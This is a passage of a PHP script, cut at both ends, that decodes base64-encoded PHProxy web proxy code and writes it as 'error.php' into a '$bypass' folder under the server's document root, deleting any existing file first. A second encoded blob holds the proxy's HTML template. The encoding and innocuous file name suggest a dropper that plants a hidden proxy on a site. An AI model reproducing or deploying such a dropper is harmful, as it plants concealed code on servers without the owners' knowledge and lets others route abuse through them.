0Y2hlc1skaV1bMV0uIHByb3hpZnlfY3NzKCRtYXRjaGVzWyRpXVsyXSkgLiRtYXRjaGVzWyRpXVszXSwgJF9yZXNwb25zZV9ib2R5KTsNCiAgICB9DQoNCiAgICBwcmVnX21hdGNoX2FsbCgiIzxccyooW2EtekEtWlw/LV0rKShbXj5dKyk+I1MiLCAkX3Jlc3BvbnNlX2JvZHksICRtYXRjaGVzKTsNCg0KICAgIGZvciAoJGkgPSAwLCAkY291bnRfaSA9IGNvdW50KCRtYXRjaGVzWzBdKTsgJGkgPCAkY291bnRfaTsgKyskaSkNCiAgICB7DQogICAgICAgIGlmICghcHJlZ19tYXRjaF9hbGwoIiMoW2EtekEtWlwtXC9dKylccyooPzo9XHMqKD86XCIoW15cIj5dKilcIj98JyhbXic+XSopJz98KFteJ1wiXHNdKikpKT8jUyIsICRtYXRjaGVzWzJdWyRpXSwgJG0sIFBSRUdfU0VUX09SREVSKSkNCiAgICAgICAgew0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRyZWJ1aWxkICAgID0gZmFsc2U7DQogICAgICAgICRleHRyYV9odG1sID0gJHRlbXAgPSAnJzsNCiAgICAgICAgJGF0dHJzICAgICAgPSBhcnJheSgpOw0KDQogICAgICAgIGZvciAoJGogPSAwLCAkY291bnRfaiA9IGNvdW50KCRtKTsgJGogPCAkY291bnRfajsgJGF0dHJzW3N0cnRvbG93ZXIoJG1bJGpdWzFdKV0gPSAoaXNzZXQoJG1bJGpdWzRdKSA/ICRtWyRqXVs0XSA6IChpc3NldCgkbVskal1bM10pID8gJG1bJGpdWzNdIDogKGlzc2V0KCRtWyRqXVsyXSkgPyAkbVskal1bMl0gOiBmYWxzZSkpKSwgKyskaik7DQogICAgICAgIA0KICAgICAgICBpZiAoaXNzZXQoJGF0dHJzWydzdHlsZSddKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgJGF0dHJzWydzdHlsZSddID0gcHJveGlmeV9pbmxpbmVfY3NzKCRhdHRyc1snc3R5bGUnXSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICR0YWcgPSBzdHJ0b2xvd2VyKCRtYXRjaGVzWzFdWyRpXSk7DQoNCiAgICAgICAgaWYgKGlzc2V0KCR0YWdzWyR0YWddKSkNCiAgICAgICAgew0KICAgICAgICAgICAgc3dpdGNoICgkdGFnKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGNhc2UgJ2EnOg0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGF0dHJzWydocmVmJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ2hyZWYnXSA9IHVybGRlY29kZSgkYXR0cnNbJ2hyZWYnXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAnaW1nJzoNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snc3JjJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ3NyYyddID0gY29tcGxldGVfdXJsKCRhdHRyc1snc3JjJ10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ2xvbmdkZXNjJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ2xvbmdkZXNjJ10gPSBjb21wbGV0ZV91cmwoJGF0dHJzWydsb25nZGVzYyddKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdmb3JtJzoNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snYWN0aW9uJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh0cmltKCRhdHRyc1snYWN0aW9uJ10pID09PSAnJykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ2FjdGlvbiddID0gJF91cmxfcGFydHNbJ3BhdGgnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghaXNzZXQoJGF0dHJzWydtZXRob2QnXSkgfHwgc3RydG9sb3dlcih0cmltKCRhdHRyc1snbWV0aG9kJ10pKSA9PT0gJ2dldCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGV4dHJhX2h0bWwgPSAnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJyAuICRfY29uZmlnWydnZXRfZm9ybV9uYW1lJ10gLiAnIiB2YWx1ZT0iJyAuIGVuY29kZV91cmwoY29tcGxldGVfdXJsKCRhdHRyc1snYWN0aW9uJ10sIGZhbHNlKSkgLiAnIiAvPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydhY3Rpb24nXSA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ2FjdGlvbiddID0gY29tcGxldGVfdXJsKCRhdHRyc1snYWN0aW9uJ10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgJ2Jhc2UnOg0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGF0dHJzWydocmVmJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7ICANCiAgICAgICAgICAgICAgICAgICAgICAgIHVybF9wYXJzZSgkYXR0cnNbJ2hyZWYnXSwgJF9iYXNlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRhdHRyc1snaHJlZiddID0gY29tcGxldGVfdXJsKCRhdHRyc1snaHJlZiddKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdtZXRhJzoNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRfZmxhZ3NbJ3N0cmlwX21ldGEnXSAmJiBpc3NldCgkYXR0cnNbJ25hbWUnXSkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRfcmVzcG9uc2VfYm9keSA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdWyRpXSwgJycsICRfcmVzcG9uc2VfYm9keSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snaHR0cC1lcXVpdiddLCAkYXR0cnNbJ2NvbnRlbnQnXSkgJiYgcHJlZ19tYXRjaCgnI1xzKnJlZnJlc2hccyojaScsICRhdHRyc1snaHR0cC1lcXVpdiddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyNeKFxzKlswLTldKlxzKjtccyp1cmw9KSguKikjaScsICRhdHRyc1snY29udGVudCddLCAkY29udGVudCkpDQogICAgICAgICAgICAgICAgICAgICAgICB7ICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydjb250ZW50J10gPSAgJGNvbnRlbnRbMV0gLiBjb21wbGV0ZV91cmwodHJpbSgkY29udGVudFsyXSwgJyJcJycpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdoZWFkJzoNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1sncHJvZmlsZSddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydwcm9maWxlJ10gPSBpbXBsb2RlKCcgJywgYXJyYXlfbWFwKCdjb21wbGV0ZV91cmwnLCBleHBsb2RlKCcgJywgJGF0dHJzWydwcm9maWxlJ10pKSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAnYXBwbGV0JzoNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snY29kZWJhc2UnXSkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZWJ1aWxkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wID0gJF9iYXNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgdXJsX3BhcnNlKGNvbXBsZXRlX3VybChydHJpbSgkYXR0cnNbJ2NvZGViYXNlJ10sICcvJykgLiAnLycsIGZhbHNlKSwgJF9iYXNlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHVuc2V0KCRhdHRyc1snY29kZWJhc2UnXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snY29kZSddKSAmJiBzdHJwb3MoJGF0dHJzWydjb2RlJ10sICcvJykgIT09IGZhbHNlKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ2NvZGUnXSA9IGNvbXBsZXRlX3VybCgkYXR0cnNbJ2NvZGUnXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snb2JqZWN0J10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ29iamVjdCddID0gY29tcGxldGVfdXJsKCRhdHRyc1snb2JqZWN0J10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ2FyY2hpdmUnXSkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZWJ1aWxkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRhdHRyc1snYXJjaGl2ZSddID0gaW1wbG9kZSgnLCcsIGFycmF5X21hcCgnY29tcGxldGVfdXJsJywgcHJlZ19zcGxpdCgnI1xzKixccyojJywgJGF0dHJzWydhcmNoaXZlJ10pKSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkdGVtcCkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRfYmFzZSA9ICR0ZW1wOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgJ29iamVjdCc6DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ3VzZW1hcCddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWyd1c2VtYXAnXSA9IGNvbXBsZXRlX3VybCgkYXR0cnNbJ3VzZW1hcCddKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGF0dHJzWydjb2RlYmFzZSddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXAgPSAkX2Jhc2U7DQogICAgICAgICAgICAgICAgICAgICAgICB1cmxfcGFyc2UoY29tcGxldGVfdXJsKHJ0cmltKCRhdHRyc1snY29kZWJhc2UnXSwgJy8nKSAuICcvJywgZmFsc2UpLCAkX2Jhc2UpOw0KICAgICAgICAgICAgICAgICAgICAgICAgdW5zZXQoJGF0dHJzWydjb2RlYmFzZSddKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGF0dHJzWydkYXRhJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ2RhdGEnXSA9IGNvbXBsZXRlX3VybCgkYXR0cnNbJ2RhdGEnXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snY2xhc3NpZCddKSAmJiAhcHJlZ19tYXRjaCgnI15jbHNpZDojaScsICRhdHRyc1snY2xhc3NpZCddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydjbGFzc2lkJ10gPSBjb21wbGV0ZV91cmwoJGF0dHJzWydjbGFzc2lkJ10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ2FyY2hpdmUnXSkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZWJ1aWxkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRhdHRyc1snYXJjaGl2ZSddID0gaW1wbG9kZSgnICcsIGFycmF5X21hcCgnY29tcGxldGVfdXJsJywgZXhwbG9kZSgnICcsICRhdHRyc1snYXJjaGl2ZSddKSkpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHRlbXApKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkX2Jhc2UgPSAkdGVtcDsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdwYXJhbSc6DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ3ZhbHVldHlwZSddLCAkYXR0cnNbJ3ZhbHVlJ10pICYmIHN0cnRvbG93ZXIoJGF0dHJzWyd2YWx1ZXR5cGUnXSkgPT0gJ3JlZicgJiYgcHJlZ19tYXRjaCgnI15bXHcuKy1dKzovLyMnLCAkYXR0cnNbJ3ZhbHVlJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ3ZhbHVlJ10gPSBjb21wbGV0ZV91cmwoJGF0dHJzWyd2YWx1ZSddKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdmcmFtZSc6DQogICAgICAgICAgICAgICAgY2FzZSAnaWZyYW1lJzoNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snc3JjJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ3NyYyddID0gY29tcGxldGVfdXJsKCRhdHRyc1snc3JjJ10pIC4gJyZuZj0xJzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGF0dHJzWydsb25nZGVzYyddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydsb25nZGVzYyddID0gY29tcGxldGVfdXJsKCRhdHRyc1snbG9uZ2Rlc2MnXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHRhZ3NbJHRhZ10gYXMgJGF0dHIpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJGF0dHJdKSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWyRhdHRyXSA9IGNvbXBsZXRlX3VybCgkYXR0cnNbJGF0dHJdKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIA0KICAgICAgICBpZiAoJHJlYnVpbGQpDQogICAgICAgIHsNCiAgICAgICAgICAgICRuZXdfdGFnID0gIjwkdGFnIjsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRhdHRycyBhcyAkbmFtZSA9PiAkdmFsdWUpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGRlbGltID0gc3RycG9zKCR2YWx1ZSwgJyInKSAmJiAhc3RycG9zKCR2YWx1ZSwgIiciKSA/ICInIiA6ICciJzsNCiAgICAgICAgICAgICAgICAkbmV3X3RhZyAuPSAnICcgLiAkbmFtZSAuICgkdmFsdWUgIT09IGZhbHNlID8gJz0nIC4gJGRlbGltIC4gJHZhbHVlIC4gJGRlbGltIDogJycpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkX3Jlc3BvbnNlX2JvZHkgPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXVskaV0sICRuZXdfdGFnIC4gJz4nIC4gJGV4dHJhX2h0bWwsICRfcmVzcG9uc2VfYm9keSk7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgaWYgKCRfZmxhZ3NbJ2luY2x1ZGVfZm9ybSddICYmICFpc3NldCgkX0dFVFsnbmYnXSkpDQogICAgew0KICAgICAgICAkX3VybF9mb3JtICAgICAgPSAnPGRpdiBzdHlsZT0id2lkdGg6MTAwJTttYXJnaW46MDt0ZXh0LWFsaWduOmNlbnRlcjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjNzI1NTU0O2NvbG9yOiMwMDAwMDA7YmFja2dyb3VuZC1jb2xvcjojRjJGREYzO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtd2VpZ2h0OmJvbGQ7Zm9udC1mYW1pbHk6Qml0c3RyZWFtIFZlcmEgU2FucyxhcmlhbCxzYW5zLXNlcmlmO3BhZGRpbmc6NHB4OyI+Jw0KICAgICAgICAgICAgICAgICAgICAgICAgLiAnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IicgLiAkX3NjcmlwdF91cmwgLiAnIj4nDQogICAgICAgICAgICAgICAgICAgICAgICAuICcgPGxhYmVsIGZvcj0iX19fXycgLiAkX2NvbmZpZ1sndXJsX3Zhcl9uYW1lJ10gLiAnIj48YSBocmVmPSInIC4gJF91cmwgLiAnIj5BZGRyZXNzPC9hPjo8L2xhYmVsPiA8aW5wdXQgaWQ9Il9fX18nIC4gJF9jb25maWdbJ3VybF92YXJfbmFtZSddIC4gJyIgdHlwZT0idGV4dCIgc2l6ZT0iODAiIG5hbWU9IicgLiAkX2NvbmZpZ1sndXJsX3Zhcl9uYW1lJ10gLiAnIiB2YWx1ZT0iJyAuICRfdXJsIC4gJyIgLz4nDQogICAgICAgICAgICAgICAgICAgICAgICAuICcgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iZ28iIHZhbHVlPSJHbyIgLz4nDQogICAgICAgICAgICAgICAgICAgICAgICAuICcgW2dvOiA8YSBocmVmPSInIC4gJF9zY3JpcHRfdXJsIC4gJz8nIC4gJF9jb25maWdbJ3VybF92YXJfbmFtZSddIC4gJz0nIC4gZW5jb2RlX3VybCgkX3VybF9wYXJ0c1sncHJldl9kaXInXSkgLicgIj51cCBvbmUgZGlyPC9hPiwgPGEgaHJlZj0iJyAuICRfc2NyaXB0X2Jhc2UgLiAnIj5tYWluIHBhZ2U8L2E+XScNCiAgICAgICAgICAgICAgICAgICAgICAgIC4gJzxiciAvPjxociAvPic7DQoNCiAgICAgICAgZm9yZWFjaCAoJF9mbGFncyBhcyAkZmxhZ19uYW1lID0+ICRmbGFnX3ZhbHVlKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZiAoISRfZnJvemVuX2ZsYWdzWyRmbGFnX25hbWVdKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRfdXJsX2Zvcm0gLj0gJzxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9IicgLiAkX2NvbmZpZ1snZmxhZ3NfdmFyX25hbWUnXSAuICdbJyAuICRmbGFnX25hbWUgLiAnXSInIC4gKCRmbGFnX3ZhbHVlID8gJyBjaGVja2VkPSJjaGVja2VkIicgOiAnJykgLiAnIC8+ICcgLiAkX2xhYmVsc1skZmxhZ19uYW1lXVswXSAuICc8L2xhYmVsPiAnOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgJF91cmxfZm9ybSAuPSAnPC9mb3JtPjwvZGl2Pic7DQogICAgICAgICRfcmVzcG9uc2VfYm9keSA9IHByZWdfcmVwbGFjZSgnI1w8XHMqYm9keSguKj8pXD4jc2knLCAiJDBcbiRfdXJsX2Zvcm0iICwgJF9yZXNwb25zZV9ib2R5LCAxKTsNCiAgICB9DQp9DQoNCiRfcmVzcG9uc2Vfa2V5c1snY29udGVudC1kaXNwb3NpdGlvbiddID0gJ0NvbnRlbnQtRGlzcG9zaXRpb24nOw0KJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWRpc3Bvc2l0aW9uJ11bMF0gPSBlbXB0eSgkX2NvbnRlbnRfZGlzcCkgPyAoJF9jb250ZW50X3R5cGUgPT0gJ2FwcGxpY2F0aW9uL29jdGV0X3N0cmVhbScgPyAnYXR0YWNobWVudCcgOiAnaW5saW5lJykgLiAnOyBmaWxlbmFtZT0iJyAuICRfdXJsX3BhcnRzWydmaWxlJ10gLiAnIicgOiAkX2NvbnRlbnRfZGlzcDsNCiRfcmVzcG9uc2Vfa2V5c1snY29udGVudC1sZW5ndGgnXSA9ICdDb250ZW50LUxlbmd0aCc7DQokX3Jlc3BvbnNlX2hlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ11bMF0gPSBzdHJsZW4oJF9yZXNwb25zZV9ib2R5KTsgICAgDQokX3Jlc3BvbnNlX2hlYWRlcnMgICA9IGFycmF5X2ZpbHRlcigkX3Jlc3BvbnNlX2hlYWRlcnMpOw0KJF9yZXNwb25zZV9rZXlzICAgICAgPSBhcnJheV9maWx0ZXIoJF9yZXNwb25zZV9rZXlzKTsNCg0KaGVhZGVyKGFycmF5X3NoaWZ0KCRfcmVzcG9uc2Vfa2V5cykpOw0KYXJyYXlfc2hpZnQoJF9yZXNwb25zZV9oZWFkZXJzKTsNCg0KZm9yZWFjaCAoJF9yZXNwb25zZV9oZWFkZXJzIGFzICRuYW1lID0+ICRhcnJheSkNCnsNCiAgICBmb3JlYWNoICgkYXJyYXkgYXMgJHZhbHVlKQ0KICAgIHsNCiAgICAgICAgaGVhZGVyKCRfcmVzcG9uc2Vfa2V5c1skbmFtZV0gLiAnOiAnIC4gJHZhbHVlLCBmYWxzZSk7DQogICAgfQ0KfQ0KDQplY2hvICRfcmVzcG9uc2VfYm9keTsNCj8+";
$pathS = $_SERVER['DOCUMENT_ROOT'].'/'.$bypass.'/'.'error.php';
if(file_exists($pathS)) @unlink($pathS);
$contentS = base64_decode($by2);
$txtS = fopen($pathS,"a+");
fwrite($txtS, $contentS);
fclose($txtS);
$by3 = "PD9waHAgDQoNCmlmIChiYXNlbmFtZShfX0ZJTEVfXykgPT0gYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pKQ0Kew0KICAgIGV4aXQoMCk7DQp9DQoNCmVjaG8gJzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+JzsNCg0KPz4NCg0KPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIGxhbmc9ImVuLVVTIiB4bWw6bGFuZz0iZW4tVVMiPg0KPGhlYWQ+DQogIDx0aXRsZT5QSFByb3h5PC90aXRsZT4NCiAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0ic3R5bGUuY3NzIiB0aXRsZT0iRGVmYXVsdCBUaGVtZSIgbWVkaWE9ImFsbCIgLz4NCiAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCjwhLS0NCi5zdHlsZTEgew0KCWZvbnQtZmFtaWx5OiBWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOw0KCWZvbnQtc2l6ZTogMTJweDsNCn0NCmE6bGluayB7DQoJY29sb3I6ICMwMEZGMDA7DQoJdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KfQ0KYTp2aXNpdGVkIHsNCgl0ZXh0LWRlY29yYXRpb246IG5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQphOmhvdmVyIHsNCgl0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsNCgljb2xvcjogI0ZGRkYwMDsNCn0NCmE6YWN0aXZlIHsNCgl0ZXh0LWRlY29yYXRpb246IG5vbmU7DQoJY29sb3I6ICNGRkZGMDA7DQp9DQotLT4NCiAgPC9zdHlsZT4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiIC8+PC9oZWFkPg0KPGJvZHkgYmdjb2xvcj0iIzAwMDAwMCIgdGV4dD0iIzAwRkYwMCIgb25sb2FkPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWRkcmVzc19ib3gnKS5mb2N1cygpIj4NCjxkaXYgaWQ9ImNvbnRhaW5lciI+DQogIDxoMSBpZD0idGl0bGUiPjxjZW50ZXI+DQogICAgPHU+Li46OlsgcGhwcm94eSBdOjouLjwvdT4NCiAgPC9jZW50ZXI+PC9oMT4NCjxkaXYgY2xhc3M9InN0eWxlMSIgaWQ9IkxheWVyMSIgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyB3aWR0aDo1MDZweDsgaGVpZ2h0OjQ2N3B4OyB6LWluZGV4OjE7IGxlZnQ6IDM1M3B4OyB0b3A6IDk0cHg7Ij4NCg0KICA8dWwgaWQ9Im5hdmlnYXRpb24iPg0KICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRHTE9CQUxTWydfc2NyaXB0X2Jhc2UnXSA/PiI+VVJMIEZvcm08L2E+PC9saT4NCiAgICA8bGk+PGEgaHJlZj0iamF2YXNjcmlwdDphbGVydCgnY29va2llIG1hbmFnbWVudCBoYXMgbm90IGJlZW4gaW1wbGVtZW50ZWQgeWV0JykiPk1hbmFnZSBDb29raWVzPC9hPjwvbGk+DQogIDwvdWw+DQo8P3BocA0KDQpzd2l0Y2ggKCRkYXRhWydjYXRlZ29yeSddKQ0Kew0KICAgIGNhc2UgJ2F1dGgnOg0KPz4NCiAgPGRpdiBpZD0iYXV0aCI+PHA+DQogIDxiPkVudGVyIHlvdXIgdXNlcm5hbWUgYW5kIHBhc3N3b3JkIG